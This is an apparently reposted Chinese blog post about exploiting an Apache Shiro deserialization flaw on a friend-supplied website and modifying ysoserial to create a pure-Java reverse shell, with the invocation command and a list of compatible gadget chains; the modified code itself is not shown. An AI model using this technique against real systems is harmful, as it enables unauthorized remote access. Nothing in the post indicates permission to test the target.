ac2100 反弹shell无法粘贴_记一次突破反弹shell
背景
某天閑著無聊,小伙伴發(fā)來一個某網(wǎng)站,說只能執(zhí)行命令,不能反彈shell。
測試
對著目標(biāo)站點一頓測試。
發(fā)現(xiàn)確實存在shiro反序列化,并且存在可以利用的gadget。利用
發(fā)現(xiàn)確實可以執(zhí)行命令,但是我們執(zhí)行反彈的時候。
反彈不回來,emmm。
查看各種系命令以及分析。
發(fā)現(xiàn)是一個精簡的Linux,經(jīng)常用于docker環(huán)境的搭建。
并沒有bash環(huán)境。
使用sh命令反彈結(jié)果一樣,之后嘗試了各種反彈的方法,一言難盡。
所以我們需要一種新的反彈方法,利用java直接創(chuàng)建一個socket反彈。ysoserial
ysoserial是一款在Github開源的知名java 反序列化利用工具,里面集合了各種java反序列化payload。
源碼下載地址:
https://codeload.github.com/frohoff/ysoserial/zip/master
在很多java類的反序列化攻擊場景中會利用到該工具。
例如:apache shiro反序列化,會使用ysoserial生成反序列化語句,再使用key加密,發(fā)送攻擊payload。
如下python腳本,就是利用ysoserial生成反序列化語句,再用key加密生成cookie。
目的
各種各樣的反彈shell注入bash、sh、perl、nc、python等等,都比較依賴目標(biāo)系統(tǒng)的環(huán)境和操作系統(tǒng)類型等等,如果可以直接利用java創(chuàng)建一個socket反彈shell則可以無需關(guān)心這些環(huán)境直接反彈shell。ysoserial分析
在執(zhí)行ysoserial的時候一般使用的命令是java -cp ysoserial.jar ?/某個payload/ /命令/
打開源碼分析對應(yīng)的payload類執(zhí)行過程,如CommonsCollections2。
在執(zhí)行該類的時候,運行payloadrunner類的run方法,來執(zhí)行本類的class文件,再加上接收的參數(shù),跟入payloadrunner類。
這里會調(diào)用payload中的getObject方法傳入要執(zhí)行的命令,命令是接收的輸入或者是getDefaultTestCmd(),也就是說我們?nèi)绻惠斎朊?#xff0c;他會執(zhí)行以下默認命令。Windows:calcMacOS:calculatorLinux:gnome-calculator\kclac
如果輸入了命令會執(zhí)行自定義命令,接下來會執(zhí)行g(shù)etObject方法()來生成payload,跟入對應(yīng)類的getObject方法。
getObject方法中,調(diào)用Gadgets類中的createTemplatesImpl方法生成臨時的java字節(jié)碼文件,跟入對應(yīng)的方法。
ysoserial改造
可以看到作者在命令獲取處已經(jīng)留下了注釋。
待做:也可以做一些有趣的事情,比如注入一個純JavaRev/BindShell來繞過幼稚的保護。TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
一般情況我們在ysoserial后面寫的命令調(diào)用的是java.lang.Runtime.getRuntime().exec()方法來執(zhí)行命令,寫死了,此處我們可以進行改造。
在原來的代碼基礎(chǔ)上寫成:
這樣我們再重新打包ysoserial文件再執(zhí)行命令時使用如下格式。java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 'rebound:ip port'
可以直接獲得一個反彈shell。生成payload利用
發(fā)送。
Bingo,得到一個反彈shell。
ysoserial改造總結(jié)
由于不是所有的payload在構(gòu)造時都調(diào)用了Gadgets.createTemplatesImpl,所以只有以下幾種適用于以上修改。CommonsBeanutils1CommonsCollections2CommonsCollections3CommonsCollections4Hibernate1JavassistWeld1JBossInterceptors1Jdk7u21JSON1ROMESpring1Spring2Vaadin1
此方法不依賴于目標(biāo)操作系統(tǒng)和組件,可以直接利用java創(chuàng)建反彈shell。
總結(jié)
以上是生活随笔為你收集整理的ac2100 反弹shell无法粘贴_记一次突破反弹shell的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Job for smbd.service
- 下一篇: centos daemonize_手把手